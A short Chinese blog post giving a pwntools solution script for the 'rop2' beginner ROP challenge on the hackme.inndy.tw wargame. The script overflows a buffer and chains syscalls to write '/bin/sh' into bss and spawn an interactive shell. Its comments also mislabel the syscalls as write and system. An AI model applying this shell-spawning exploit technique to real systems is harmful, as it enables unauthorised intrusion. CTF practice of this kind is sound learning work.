ROP2 ROP的启蒙题

from pwn import *
cn = remote('hackme.inndy.tw',7703)
#context.log_level='debug'
elf = ELF('rop2')

syscall = elf.symbols['syscall']
print "%x"%syscall
over = elf.symbols['overflow']
bss = elf.bss()
cn.recvuntil('Give me your ropchain:')
pay = 'a'*16
pay+= p32(syscall)#ret_addr
pay+= p32(over)#fake_ret_addr
pay+= p32(3)+p32(0)+p32(bss)+p32(8)#param
#syscall(3,0,bss,8)=write(0,bss,8)
#先往bss写入/bin/sh
cn.sendline(pay)
cn.send('/bin/sh\0')

pay='a'*16
pay+= p32(syscall)#ret_addr
pay+= 'a'*4#fake_ret_addr
pay+= p32(11)+p32(bss)+p32(0)+p32(0)#param
#syscall(11,bss,0,0)=system(bss)
cn.sendline(pay)

cn.interactive()

padding+返回地址+执行完syscall后的返回地址+参数

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值